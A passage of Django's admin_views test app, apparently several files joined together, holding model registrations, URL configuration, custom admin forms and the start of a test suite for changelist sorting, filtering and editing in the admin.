site.register(Podcast, PodcastAdmin)
site.register(Vodcast, VodcastAdmin)
site.register(Parent, ParentAdmin)
site.register(EmptyModel, EmptyModelAdmin)
site.register(Fabric, FabricAdmin)
site.register(Gallery, GalleryAdmin)
site.register(Picture, PictureAdmin)
site.register(Language, LanguageAdmin)
site.register(Recommendation, RecommendationAdmin)
site.register(Recommender)
site.register(Collector, CollectorAdmin)
site.register(Category, CategoryAdmin)
site.register(Post, PostAdmin)
site.register(FieldOverridePost, FieldOverridePostAdmin)
site.register(Gadget, GadgetAdmin)
site.register(Villain)
site.register(SuperVillain)
site.register(Plot)
site.register(PlotDetails)
site.register(PlotProxy, PlotReadonlyAdmin)
site.register(Bookmark)
site.register(CyclicOne)
site.register(CyclicTwo)
site.register(WorkHour, WorkHourAdmin)
site.register(Reservation)
site.register(FoodDelivery, FoodDeliveryAdmin)
site.register(RowLevelChangePermissionModel, RowLevelChangePermissionModelAdmin)
site.register(Paper, PaperAdmin)
site.register(CoverLetter, CoverLetterAdmin)
site.register(ShortMessage, ShortMessageAdmin)
site.register(Telegram, TelegramAdmin)
site.register(Story, StoryAdmin)
site.register(OtherStory, OtherStoryAdmin)
site.register(Report, ReportAdmin)
site.register(MainPrepopulated, MainPrepopulatedAdmin)
site.register(UnorderedObject, UnorderedObjectAdmin)
site.register(UndeletableObject, UndeletableObjectAdmin)
site.register(UnchangeableObject, UnchangeableObjectAdmin)
site.register(State, StateAdmin)
site.register(City, CityAdmin)
site.register(Restaurant, RestaurantAdmin)
site.register(Worker, WorkerAdmin)
site.register(FunkyTag, FunkyTagAdmin)
site.register(ReferencedByParent)
site.register(ChildOfReferer)
site.register(ReferencedByInline)
site.register(InlineReferer, InlineRefererAdmin)
site.register(ReferencedByGenRel)
site.register(GenRelReference)
site.register(ParentWithUUIDPK)
site.register(RelatedWithUUIDPKModel)

# We intentionally register Promo and ChapterXtra1 but not Chapter nor ChapterXtra2.
# That way we cover all four cases:
#     related ForeignKey object registered in admin
#     related ForeignKey object not registered in admin
#     related OneToOne object registered in admin
#     related OneToOne object not registered in admin
# when deleting Book so as exercise all four troublesome (w.r.t escaping
# and calling force_text to avoid problems on Python 2.3) paths through
# contrib.admin.utils's get_deleted_objects function.
site.register(Book, inlines=[ChapterInline])
site.register(Promo)
site.register(ChapterXtra1, ChapterXtra1Admin)
site.register(Pizza, PizzaAdmin)
site.register(Topping, ToppingAdmin)
site.register(Album, AlbumAdmin)
site.register(Question)
site.register(Answer, date_hierarchy='question__posted')
site.register(PrePopulatedPost, PrePopulatedPostAdmin)
site.register(ComplexSortedPerson, ComplexSortedPersonAdmin)
site.register(FilteredManager, CustomManagerAdmin)
site.register(PluggableSearchPerson, PluggableSearchPersonAdmin)
site.register(PrePopulatedPostLargeSlug, PrePopulatedPostLargeSlugAdmin)
site.register(AdminOrderedField, AdminOrderedFieldAdmin)
site.register(AdminOrderedModelMethod, AdminOrderedModelMethodAdmin)
site.register(AdminOrderedAdminMethod, AdminOrderedAdminMethodAdmin)
site.register(AdminOrderedCallable, AdminOrderedCallableAdmin)
site.register(Color2, CustomTemplateFilterColorAdmin)
site.register(Simple, AttributeErrorRaisingAdmin)
site.register(UserMessenger, MessageTestingAdmin)
site.register(Choice, ChoiceList)
site.register(ParentWithDependentChildren, ParentWithDependentChildrenAdmin)
site.register(EmptyModelHidden, EmptyModelHiddenAdmin)
site.register(EmptyModelVisible, EmptyModelVisibleAdmin)
site.register(EmptyModelMixin, EmptyModelMixinAdmin)
site.register(StumpJoke)
site.register(Recipe)
site.register(Ingredient)
site.register(NotReferenced)
site.register(ExplicitlyProvidedPK, GetFormsetsArgumentCheckingAdmin)
site.register(ImplicitlyGeneratedPK, GetFormsetsArgumentCheckingAdmin)

# Register core models we need in our tests
site.register(User, UserAdmin)
site.register(Group, GroupAdmin)

# Used to test URL namespaces
site2 = admin.AdminSite(name="namespaced_admin")
site2.register(User, UserAdmin)
site2.register(Group, GroupAdmin)
site2.register(ParentWithUUIDPK)
site2.register(
    RelatedWithUUIDPKModel,
    list_display=['pk', 'parent'],
    list_editable=['parent'],
    raw_id_fields=['parent'],
)
site2.register(Person, save_as_continue=False)

site7 = admin.AdminSite(name="admin7")
site7.register(Article, ArticleAdmin2)






from django.contrib.admin.views.decorators import staff_member_required
from django.http import HttpResponse


@staff_member_required
def secure_view(request):
    return HttpResponse('%s' % request.POST)


@staff_member_required(redirect_field_name='myfield')
def secure_view2(request):
    return HttpResponse('%s' % request.POST)






from django import forms
from django.contrib.admin.forms import AdminAuthenticationForm
from django.contrib.admin.helpers import ActionForm


class CustomAdminAuthenticationForm(AdminAuthenticationForm):

    class Media:
        css = {'all': ('path/to/media.css',)}

    def clean_username(self):
        username = self.cleaned_data.get('username')
        if username == 'customform':
            raise forms.ValidationError('custom form error')
        return username


class MediaActionForm(ActionForm):
    class Media:
        js = ['path/to/media.js']






from django.conf.urls import include, url

from . import admin, custom_has_permission_admin, customadmin, views

urlpatterns = [
    url(r'^test_admin/admin/doc/', include('django.contrib.admindocs.urls')),
    url(r'^test_admin/admin/secure-view/$', views.secure_view, name='secure_view'),
    url(r'^test_admin/admin/secure-view2/$', views.secure_view2, name='secure_view2'),
    url(r'^test_admin/admin/', admin.site.urls),
    url(r'^test_admin/admin2/', customadmin.site.urls),
    url(r'^test_admin/admin3/', (admin.site.get_urls(), 'admin', 'admin3'), dict(form_url='pony')),
    url(r'^test_admin/admin4/', customadmin.simple_site.urls),
    url(r'^test_admin/admin5/', admin.site2.urls),
    url(r'^test_admin/admin7/', admin.site7.urls),
    # All admin views accept `extra_context` to allow adding it like this:
    url(r'^test_admin/admin8/', (admin.site.get_urls(), 'admin', 'admin-extra-context'), {'extra_context': {}}),
    url(r'^test_admin/has_permission_admin/', custom_has_permission_admin.site.urls),
]






from __future__ import unicode_literals

from django.contrib.admin.templatetags.admin_modify import submit_row
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from django.test import RequestFactory
from django.urls import reverse

from .admin import site
from .tests import AdminViewBasicTestCase


class AdminTemplateTagsTest(AdminViewBasicTestCase):
    def test_submit_row(self):
        """
        submit_row template tag should pass whole context.
        """
        factory = RequestFactory()
        request = factory.get(reverse('admin:auth_user_change', args=[self.superuser.pk]))
        request.user = self.superuser
        admin = UserAdmin(User, site)
        extra_context = {'extra': True}
        response = admin.change_view(request, str(self.superuser.pk), extra_context=extra_context)
        template_context = submit_row(response.context_data)
        self.assertIs(template_context['extra'], True)
        self.assertIs(template_context['show_save'], True)






"""
A custom AdminSite for AdminViewPermissionsTest.test_login_has_permission().
"""
from __future__ import unicode_literals

from django.contrib import admin
from django.contrib.auth import get_permission_codename
from django.contrib.auth.forms import AuthenticationForm

from . import admin as base_admin, models

PERMISSION_NAME = 'admin_views.%s' % get_permission_codename('change', models.Article._meta)


class PermissionAdminAuthenticationForm(AuthenticationForm):
    def confirm_login_allowed(self, user):
        from django import forms
        if not user.is_active or not (user.is_staff or user.has_perm(PERMISSION_NAME)):
            raise forms.ValidationError('permission denied')


class HasPermissionAdmin(admin.AdminSite):
    login_form = PermissionAdminAuthenticationForm

    def has_permission(self, request):
        return (
            request.user.is_active and
            (request.user.is_staff or request.user.has_perm(PERMISSION_NAME))
        )


site = HasPermissionAdmin(name="has_permission_admin")
site.register(models.Article, base_admin.ArticleAdmin)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import json
import os
import re
import unittest

from django.contrib.admin import AdminSite, ModelAdmin
from django.contrib.admin.helpers import ACTION_CHECKBOX_NAME
from django.contrib.admin.models import ADDITION, DELETION, LogEntry
from django.contrib.admin.options import TO_FIELD_VAR
from django.contrib.admin.templatetags.admin_static import static
from django.contrib.admin.templatetags.admin_urls import add_preserved_filters
from django.contrib.admin.tests import AdminSeleniumTestCase
from django.contrib.admin.utils import quote
from django.contrib.admin.views.main import IS_POPUP_VAR
from django.contrib.auth import REDIRECT_FIELD_NAME, get_permission_codename
from django.contrib.auth.models import Group, Permission, User
from django.contrib.contenttypes.models import ContentType
from django.contrib.staticfiles.storage import staticfiles_storage
from django.core import mail
from django.core.checks import Error
from django.core.files import temp as tempfile
from django.forms.utils import ErrorList
from django.template.loader import render_to_string
from django.template.response import TemplateResponse
from django.test import (
    SimpleTestCase, TestCase, ignore_warnings, modify_settings,
    override_settings, skipUnlessDBFeature,
)
from django.test.utils import override_script_prefix, patch_logger
from django.urls import NoReverseMatch, resolve, reverse
from django.utils import formats, six, translation
from django.utils._os import upath
from django.utils.cache import get_max_age
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_bytes, force_text, iri_to_uri
from django.utils.html import escape
from django.utils.http import urlencode
from django.utils.six.moves.urllib.parse import parse_qsl, urljoin, urlparse

from . import customadmin
from .admin import CityAdmin, site, site2
from .forms import MediaActionForm
from .models import (
    Actor, AdminOrderedAdminMethod, AdminOrderedCallable, AdminOrderedField,
    AdminOrderedModelMethod, Answer, Article, BarAccount, Book, Bookmark,
    Category, Chapter, ChapterXtra1, ChapterXtra2, Character, Child, Choice,
    City, Collector, Color, ComplexSortedPerson, CoverLetter, CustomArticle,
    CyclicOne, CyclicTwo, DooHickey, Employee, EmptyModel, ExternalSubscriber,
    Fabric, FancyDoodad, FieldOverridePost, FilteredManager, FooAccount,
    FoodDelivery, FunkyTag, Gallery, Grommet, Inquisition, Language, Link,
    MainPrepopulated, ModelWithStringPrimaryKey, OtherStory, Paper, Parent,
    ParentWithDependentChildren, ParentWithUUIDPK, Person, Persona, Picture,
    Pizza, Plot, PlotDetails, PluggableSearchPerson, Podcast, Post,
    PrePopulatedPost, Promo, Question, Recommendation, Recommender,
    RelatedPrepopulated, RelatedWithUUIDPKModel, Report, Restaurant,
    RowLevelChangePermissionModel, SecretHideout, Section, ShortMessage,
    Simple, State, Story, Subscriber, SuperSecretHideout, SuperVillain,
    Telegram, TitleTranslation, Topping, UnchangeableObject, UndeletableObject,
    UnorderedObject, Villain, Vodcast, Whatsit, Widget, Worker, WorkHour,
)


ERROR_MESSAGE = "Please enter the correct username and password \
for a staff account. Note that both fields may be case-sensitive."


class AdminFieldExtractionMixin(object):
    """
    Helper methods for extracting data from AdminForm.
    """
    def get_admin_form_fields(self, response):
        """
        Return a list of AdminFields for the AdminForm in the response.
        """
        admin_form = response.context['adminform']
        fieldsets = list(admin_form)

        field_lines = []
        for fieldset in fieldsets:
            field_lines += list(fieldset)

        fields = []
        for field_line in field_lines:
            fields += list(field_line)

        return fields

    def get_admin_readonly_fields(self, response):
        """
        Return the readonly fields for the response's AdminForm.
        """
        return [f for f in self.get_admin_form_fields(response) if f.is_readonly]

    def get_admin_readonly_field(self, response, field_name):
        """
        Return the readonly field for the given field_name.
        """
        admin_readonly_fields = self.get_admin_readonly_fields(response)
        for field in admin_readonly_fields:
            if field.field['name'] == field_name:
                return field


@override_settings(ROOT_URLCONF='admin_views.urls', USE_I18N=True, USE_L10N=False, LANGUAGE_CODE='en')
class AdminViewBasicTestCase(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')
        cls.color1 = Color.objects.create(value='Red', warm=True)
        cls.color2 = Color.objects.create(value='Orange', warm=True)
        cls.color3 = Color.objects.create(value='Blue', warm=False)
        cls.color4 = Color.objects.create(value='Green', warm=False)
        cls.fab1 = Fabric.objects.create(surface='x')
        cls.fab2 = Fabric.objects.create(surface='y')
        cls.fab3 = Fabric.objects.create(surface='plain')
        cls.b1 = Book.objects.create(name='Book 1')
        cls.b2 = Book.objects.create(name='Book 2')
        cls.pro1 = Promo.objects.create(name='Promo 1', book=cls.b1)
        cls.pro1 = Promo.objects.create(name='Promo 2', book=cls.b2)
        cls.chap1 = Chapter.objects.create(title='Chapter 1', content='[ insert contents here ]', book=cls.b1)
        cls.chap2 = Chapter.objects.create(title='Chapter 2', content='[ insert contents here ]', book=cls.b1)
        cls.chap3 = Chapter.objects.create(title='Chapter 1', content='[ insert contents here ]', book=cls.b2)
        cls.chap4 = Chapter.objects.create(title='Chapter 2', content='[ insert contents here ]', book=cls.b2)
        cls.cx1 = ChapterXtra1.objects.create(chap=cls.chap1, xtra='ChapterXtra1 1')
        cls.cx2 = ChapterXtra1.objects.create(chap=cls.chap3, xtra='ChapterXtra1 2')

        # Post data for edit inline
        cls.inline_post_data = {
            "name": "Test section",
            # inline data
            "article_set-TOTAL_FORMS": "6",
            "article_set-INITIAL_FORMS": "3",
            "article_set-MAX_NUM_FORMS": "0",
            "article_set-0-id": cls.a1.pk,
            # there is no title in database, give one here or formset will fail.
            "article_set-0-title": "Norske bostaver æøå skaper problemer",
            "article_set-0-content": "&lt;p&gt;Middle content&lt;/p&gt;",
            "article_set-0-date_0": "2008-03-18",
            "article_set-0-date_1": "11:54:58",
            "article_set-0-section": cls.s1.pk,
            "article_set-1-id": cls.a2.pk,
            "article_set-1-title": "Need a title.",
            "article_set-1-content": "&lt;p&gt;Oldest content&lt;/p&gt;",
            "article_set-1-date_0": "2000-03-18",
            "article_set-1-date_1": "11:54:58",
            "article_set-2-id": cls.a3.pk,
            "article_set-2-title": "Need a title.",
            "article_set-2-content": "&lt;p&gt;Newest content&lt;/p&gt;",
            "article_set-2-date_0": "2009-03-18",
            "article_set-2-date_1": "11:54:58",
            "article_set-3-id": "",
            "article_set-3-title": "",
            "article_set-3-content": "",
            "article_set-3-date_0": "",
            "article_set-3-date_1": "",
            "article_set-4-id": "",
            "article_set-4-title": "",
            "article_set-4-content": "",
            "article_set-4-date_0": "",
            "article_set-4-date_1": "",
            "article_set-5-id": "",
            "article_set-5-title": "",
            "article_set-5-content": "",
            "article_set-5-date_0": "",
            "article_set-5-date_1": "",
        }

    def setUp(self):
        self.client.force_login(self.superuser)

    def tearDown(self):
        formats.reset_format_cache()

    def assertContentBefore(self, response, text1, text2, failing_msg=None):
        """
        Testing utility asserting that text1 appears before text2 in response
        content.
        """
        self.assertEqual(response.status_code, 200)
        self.assertLess(
            response.content.index(force_bytes(text1)),
            response.content.index(force_bytes(text2)),
            (failing_msg or '') + '\nResponse:\n' + response.content.decode(response.charset)
        )


class AdminViewBasicTest(AdminViewBasicTestCase):
    def test_trailing_slash_required(self):
        """
        If you leave off the trailing slash, app should redirect and add it.
        """
        add_url = reverse('admin:admin_views_article_add')
        response = self.client.get(add_url[:-1])
        self.assertRedirects(response, add_url, status_code=301)

    def test_admin_static_template_tag(self):
        """
        Test that admin_static.static is pointing to the collectstatic version
        (as django.contrib.collectstatic is in installed apps).
        """
        old_url = staticfiles_storage.base_url
        staticfiles_storage.base_url = '/test/'
        try:
            self.assertEqual(static('path'), '/test/path')
        finally:
            staticfiles_storage.base_url = old_url

    def test_basic_add_GET(self):
        """
        A smoke test to ensure GET on the add_view works.
        """
        response = self.client.get(reverse('admin:admin_views_section_add'))
        self.assertIsInstance(response, TemplateResponse)
        self.assertEqual(response.status_code, 200)

    def test_add_with_GET_args(self):
        response = self.client.get(reverse('admin:admin_views_section_add'), {'name': 'My Section'})
        self.assertContains(
            response, 'value="My Section"',
            msg_prefix="Couldn't find an input with the right value in the response"
        )

    def test_basic_edit_GET(self):
        """
        A smoke test to ensure GET on the change_view works.
        """
        response = self.client.get(reverse('admin:admin_views_section_change', args=(self.s1.pk,)))
        self.assertIsInstance(response, TemplateResponse)
        self.assertEqual(response.status_code, 200)

    def test_basic_edit_GET_string_PK(self):
        """
        Ensure GET on the change_view works (returns an HTTP 404 error, see
        #11191) when passing a string as the PK argument for a model with an
        integer PK field.
        """
        response = self.client.get(reverse('admin:admin_views_section_change', args=('abc',)))
        self.assertEqual(response.status_code, 404)

    def test_basic_edit_GET_old_url_redirect(self):
        """
        The change URL changed in Django 1.9, but the old one still redirects.
        """
        response = self.client.get(
            reverse('admin:admin_views_section_change', args=(self.s1.pk,)).replace('change/', '')
        )
        self.assertRedirects(response, reverse('admin:admin_views_section_change', args=(self.s1.pk,)))

    def test_basic_inheritance_GET_string_PK(self):
        """
        Ensure GET on the change_view works on inherited models (returns an
        HTTP 404 error, see #19951) when passing a string as the PK argument
        for a model with an integer PK field.
        """
        response = self.client.get(reverse('admin:admin_views_supervillain_change', args=('abc',)))
        self.assertEqual(response.status_code, 404)

    def test_basic_add_POST(self):
        """
        A smoke test to ensure POST on add_view works.
        """
        post_data = {
            "name": "Another Section",
            # inline data
            "article_set-TOTAL_FORMS": "3",
            "article_set-INITIAL_FORMS": "0",
            "article_set-MAX_NUM_FORMS": "0",
        }
        response = self.client.post(reverse('admin:admin_views_section_add'), post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere

    def test_popup_add_POST(self):
        """
        Ensure http response from a popup is properly escaped.
        """
        post_data = {
            '_popup': '1',
            'title': 'title with a new\nline',
            'content': 'some content',
            'date_0': '2010-09-10',
            'date_1': '14:55:39',
        }
        response = self.client.post(reverse('admin:admin_views_article_add'), post_data)
        self.assertContains(response, 'title with a new\\nline')

    def test_basic_edit_POST(self):
        """
        A smoke test to ensure POST on edit_view works.
        """
        url = reverse('admin:admin_views_section_change', args=(self.s1.pk,))
        response = self.client.post(url, self.inline_post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere

    def test_edit_save_as(self):
        """
        Test "save as".
        """
        post_data = self.inline_post_data.copy()
        post_data.update({
            '_saveasnew': 'Save+as+new',
            "article_set-1-section": "1",
            "article_set-2-section": "1",
            "article_set-3-section": "1",
            "article_set-4-section": "1",
            "article_set-5-section": "1",
        })
        response = self.client.post(reverse('admin:admin_views_section_change', args=(self.s1.pk,)), post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere

    def test_edit_save_as_delete_inline(self):
        """
        Should be able to "Save as new" while also deleting an inline.
        """
        post_data = self.inline_post_data.copy()
        post_data.update({
            '_saveasnew': 'Save+as+new',
            "article_set-1-section": "1",
            "article_set-2-section": "1",
            "article_set-2-DELETE": "1",
            "article_set-3-section": "1",
        })
        response = self.client.post(reverse('admin:admin_views_section_change', args=(self.s1.pk,)), post_data)
        self.assertEqual(response.status_code, 302)
        # started with 3 articles, one was deleted.
        self.assertEqual(Section.objects.latest('id').article_set.count(), 2)

    def test_change_list_column_field_classes(self):
        response = self.client.get(reverse('admin:admin_views_article_changelist'))
        # callables display the callable name.
        self.assertContains(response, 'column-callable_year')
        self.assertContains(response, 'field-callable_year')
        # lambdas display as "lambda" + index that they appear in list_display.
        self.assertContains(response, 'column-lambda8')
        self.assertContains(response, 'field-lambda8')

    def test_change_list_sorting_callable(self):
        """
        Ensure we can sort on a list_display field that is a callable
        (column 2 is callable_year in ArticleAdmin)
        """
        response = self.client.get(reverse('admin:admin_views_article_changelist'), {'o': 2})
        self.assertContentBefore(
            response, 'Oldest content', 'Middle content',
            "Results of sorting on callable are out of order."
        )
        self.assertContentBefore(
            response, 'Middle content', 'Newest content',
            "Results of sorting on callable are out of order."
        )

    def test_change_list_sorting_model(self):
        """
        Ensure we can sort on a list_display field that is a Model method
        (column 3 is 'model_year' in ArticleAdmin)
        """
        response = self.client.get(reverse('admin:admin_views_article_changelist'), {'o': '-3'})
        self.assertContentBefore(
            response, 'Newest content', 'Middle content',
            "Results of sorting on Model method are out of order."
        )
        self.assertContentBefore(
            response, 'Middle content', 'Oldest content',
            "Results of sorting on Model method are out of order."
        )

    def test_change_list_sorting_model_admin(self):
        """
        Ensure we can sort on a list_display field that is a ModelAdmin method
        (column 4 is 'modeladmin_year' in ArticleAdmin)
        """
        response = self.client.get(reverse('admin:admin_views_article_changelist'), {'o': '4'})
        self.assertContentBefore(
            response, 'Oldest content', 'Middle content',
            "Results of sorting on ModelAdmin method are out of order."
        )
        self.assertContentBefore(
            response, 'Middle content', 'Newest content',
            "Results of sorting on ModelAdmin method are out of order."
        )

    def test_change_list_sorting_model_admin_reverse(self):
        """
        Ensure we can sort on a list_display field that is a ModelAdmin
        method in reverse order (i.e. admin_order_field uses the '-' prefix)
        (column 6 is 'model_year_reverse' in ArticleAdmin)
        """
        response = self.client.get(reverse('admin:admin_views_article_changelist'), {'o': '6'})
        self.assertContentBefore(
            response, '2009', '2008',
            "Results of sorting on ModelAdmin method are out of order."
        )
        self.assertContentBefore(
            response, '2008', '2000',
            "Results of sorting on ModelAdmin method are out of order."
        )
        # Let's make sure the ordering is right and that we don't get a
        # FieldError when we change to descending order
        response = self.client.get(reverse('admin:admin_views_article_changelist'), {'o': '-6'})
        self.assertContentBefore(
            response, '2000', '2008',
            "Results of sorting on ModelAdmin method are out of order."
        )
        self.assertContentBefore(
            response, '2008', '2009',
            "Results of sorting on ModelAdmin method are out of order."
        )

    def test_change_list_sorting_multiple(self):
        p1 = Person.objects.create(name="Chris", gender=1, alive=True)
        p2 = Person.objects.create(name="Chris", gender=2, alive=True)
        p3 = Person.objects.create(name="Bob", gender=1, alive=True)
        link1 = reverse('admin:admin_views_person_change', args=(p1.pk,))
        link2 = reverse('admin:admin_views_person_change', args=(p2.pk,))
        link3 = reverse('admin:admin_views_person_change', args=(p3.pk,))

        # Sort by name, gender
        response = self.client.get(reverse('admin:admin_views_person_changelist'), {'o': '1.2'})
        self.assertContentBefore(response, link3, link1)
        self.assertContentBefore(response, link1, link2)

        # Sort by gender descending, name
        response = self.client.get(reverse('admin:admin_views_person_changelist'), {'o': '-2.1'})
        self.assertContentBefore(response, link2, link3)
        self.assertContentBefore(response, link3, link1)

    def test_change_list_sorting_preserve_queryset_ordering(self):
        """
        If no ordering is defined in `ModelAdmin.ordering` or in the query
        string, then the underlying order of the queryset should not be
        changed, even if it is defined in `Modeladmin.get_queryset()`.
        Refs #11868, #7309.
        """
        p1 = Person.objects.create(name="Amy", gender=1, alive=True, age=80)
        p2 = Person.objects.create(name="Bob", gender=1, alive=True, age=70)
        p3 = Person.objects.create(name="Chris", gender=2, alive=False, age=60)
        link1 = reverse('admin:admin_views_person_change', args=(p1.pk,))
        link2 = reverse('admin:admin_views_person_change', args=(p2.pk,))
        link3 = reverse('admin:admin_views_person_change', args=(p3.pk,))

        response = self.client.get(reverse('admin:admin_views_person_changelist'), {})
        self.assertContentBefore(response, link3, link2)
        self.assertContentBefore(response, link2, link1)

    def test_change_list_sorting_model_meta(self):
        # Test ordering on Model Meta is respected

        l1 = Language.objects.create(iso='ur', name='Urdu')
        l2 = Language.objects.create(iso='ar', name='Arabic')
        link1 = reverse('admin:admin_views_language_change', args=(quote(l1.pk),))
        link2 = reverse('admin:admin_views_language_change', args=(quote(l2.pk),))

        response = self.client.get(reverse('admin:admin_views_language_changelist'), {})
        self.assertContentBefore(response, link2, link1)

        # Test we can override with query string
        response = self.client.get(reverse('admin:admin_views_language_changelist'), {'o': '-1'})
        self.assertContentBefore(response, link1, link2)

    def test_change_list_sorting_override_model_admin(self):
        # Test ordering on Model Admin is respected, and overrides Model Meta
        dt = datetime.datetime.now()
        p1 = Podcast.objects.create(name="A", release_date=dt)
        p2 = Podcast.objects.create(name="B", release_date=dt - datetime.timedelta(10))
        link1 = reverse('admin:admin_views_podcast_change', args=(p1.pk,))
        link2 = reverse('admin:admin_views_podcast_change', args=(p2.pk,))

        response = self.client.get(reverse('admin:admin_views_podcast_changelist'), {})
        self.assertContentBefore(response, link1, link2)

    def test_multiple_sort_same_field(self):
        # Check that we get the columns we expect if we have two columns
        # that correspond to the same ordering field
        dt = datetime.datetime.now()
        p1 = Podcast.objects.create(name="A", release_date=dt)
        p2 = Podcast.objects.create(name="B", release_date=dt - datetime.timedelta(10))
        link1 = reverse('admin:admin_views_podcast_change', args=(quote(p1.pk),))
        link2 = reverse('admin:admin_views_podcast_change', args=(quote(p2.pk),))

        response = self.client.get(reverse('admin:admin_views_podcast_changelist'), {})
        self.assertContentBefore(response, link1, link2)

        p1 = ComplexSortedPerson.objects.create(name="Bob", age=10)
        p2 = ComplexSortedPerson.objects.create(name="Amy", age=20)
        link1 = reverse('admin:admin_views_complexsortedperson_change', args=(p1.pk,))
        link2 = reverse('admin:admin_views_complexsortedperson_change', args=(p2.pk,))

        response = self.client.get(reverse('admin:admin_views_complexsortedperson_changelist'), {})
        # Should have 5 columns (including action checkbox col)
        self.assertContains(response, '<th scope="col"', count=5)

        self.assertContains(response, 'Name')
        self.assertContains(response, 'Colored name')

        # Check order
        self.assertContentBefore(response, 'Name', 'Colored name')

        # Check sorting - should be by name
        self.assertContentBefore(response, link2, link1)

    def test_sort_indicators_admin_order(self):
        """
        Ensures that the admin shows default sort indicators for all
        kinds of 'ordering' fields: field names, method on the model
        admin and model itself, and other callables. See #17252.
        """
        models = [(AdminOrderedField, 'adminorderedfield'),
                  (AdminOrderedModelMethod, 'adminorderedmodelmethod'),
                  (AdminOrderedAdminMethod, 'adminorderedadminmethod'),
                  (AdminOrderedCallable, 'adminorderedcallable')]
        for model, url in models:
            model.objects.create(stuff='The Last Item', order=3)
            model.objects.create(stuff='The First Item', order=1)
            model.objects.create(stuff='The Middle Item', order=2)
            response = self.client.get(reverse('admin:admin_views_%s_changelist' % url), {})
            self.assertEqual(response.status_code, 200)
            # Should have 3 columns including action checkbox col.
            self.assertContains(response, '<th scope="col"', count=3, msg_prefix=url)
            # Check if the correct column was selected. 2 is the index of the
            # 'order' column in the model admin's 'list_display' with 0 being
            # the implicit 'action_checkbox' and 1 being the column 'stuff'.
            self.assertEqual(response.context['cl'].get_ordering_field_columns(), {2: 'asc'})
            # Check order of records.
            self.assertContentBefore(response, 'The First Item', 'The Middle Item')
            self.assertContentBefore(response, 'The Middle Item', 'The Last Item')

    def test_has_related_field_in_list_display(self):
        """Joins shouldn't be performed for <FK>_id fields in list display."""
        state = State.objects.create(name='Karnataka')
        City.objects.create(state=state, name='Bangalore')
        response = self.client.get(reverse('admin:admin_views_city_changelist'), {})

        response.context['cl'].list_display = ['id', 'name', 'state']
        self.assertIs(response.context['cl'].has_related_field_in_list_display(), True)

        response.context['cl'].list_display = ['id', 'name', 'state_id']
        self.assertIs(response.context['cl'].has_related_field_in_list_display(), False)

    def test_limited_filter(self):
        """Ensure admin changelist filters do not contain objects excluded via limit_choices_to.
        This also tests relation-spanning filters (e.g. 'color__value').
        """
        response = self.client.get(reverse('admin:admin_views_thing_changelist'))
        self.assertContains(
            response, '<div id="changelist-filter">',
            msg_prefix="Expected filter not found in changelist view"
        )
        self.assertNotContains(
            response, '<a href="?color__id__exact=3">Blue</a>',
            msg_prefix="Changelist filter not correctly limited by limit_choices_to"
        )

    def test_relation_spanning_filters(self):
        changelist_url = reverse('admin:admin_views_chapterxtra1_changelist')
        response = self.client.get(changelist_url)
        self.assertContains(response, '<div id="changelist-filter">')
        filters = {
            'chap__id__exact': dict(
                values=[c.id for c in Chapter.objects.all()],
                test=lambda obj, value: obj.chap.id == value),
            'chap__title': dict(
                values=[c.title for c in Chapter.objects.all()],
                test=lambda obj, value: obj.chap.title == value),
            'chap__book__id__exact': dict(
                values=[b.id for b in Book.objects.all()],
                test=lambda obj, value: obj.chap.book.id == value),
            'chap__book__name': dict(
                values=[b.name for b in Book.objects.all()],
                test=lambda obj, value: obj.chap.book.name == value),
            'chap__book__promo__id__exact': dict(
                values=[p.id for p in Promo.objects.all()],
                test=lambda obj, value: obj.chap.book.promo_set.filter(id=value).exists()),
            'chap__book__promo__name': dict(
                values=[p.name for p in Promo.objects.all()],
                test=lambda obj, value: obj.chap.book.promo_set.filter(name=value).exists()),
        }
        for filter_path, params in filters.items():
            for value in params['values']:
                query_string = urlencode({filter_path: value})
                # ensure filter link exists
                self.assertContains(response, '<a href="?%s"' % query_string)
                # ensure link works
                filtered_response = self.client.get('%s?%s' % (changelist_url, query_string))
                self.assertEqual(filtered_response.status_code, 200)
                # ensure changelist contains only valid objects
                for obj in filtered_response.context['cl'].queryset.all():
                    self.assertTrue(params['test'](obj, value))

    def test_incorrect_lookup_parameters(self):
        """Ensure incorrect lookup parameters are handled gracefully."""
        changelist_url = reverse('admin:admin_views_thing_changelist')
        response = self.client.get(changelist_url, {'notarealfield': '5'})
        self.assertRedirects(response, '%s?e=1' % changelist_url)

        # Spanning relationships through a nonexistent related object (Refs #16716)
        response = self.client.get(changelist_url, {'notarealfield__whatever': '5'})
        self.assertRedirects(response, '%s?e=1' % changelist_url)

        response = self.client.get(changelist_url, {'color__id__exact': 'StringNotInteger!'})
        self.assertRedirects(response, '%s?e=1' % changelist_url)

        # Regression test for #18530
        response = self.client.get(changelist_url, {'pub_date__gte': 'foo'})
        self.assertRedirects(response, '%s?e=1' % changelist_url)

    def test_isnull_lookups(self):
        """Ensure is_null is handled correctly."""
        Article.objects.create(title="I Could Go Anywhere", content="Versatile", date=datetime.datetime.now())
        changelist_url = reverse('admin:admin_views_article_changelist')
        response = self.client.get(changelist_url)
        self.assertContains(response, '4 articles')
        response = self.client.get(changelist_url, {'section__isnull': 'false'})
        self.assertContains(response, '3 articles')
        response = self.client.get(changelist_url, {'section__isnull': '0'})
        self.assertContains(response, '3 articles')
        response = self.client.get(changelist_url, {'section__isnull': 'true'})
        self.assertContains(response, '1 article')
        response = self.client.get(changelist_url, {'section__isnull': '1'})
        self.assertContains(response, '1 article')

    def test_logout_and_password_change_URLs(self):
        response = self.client.get(reverse('admin:admin_views_article_changelist'))
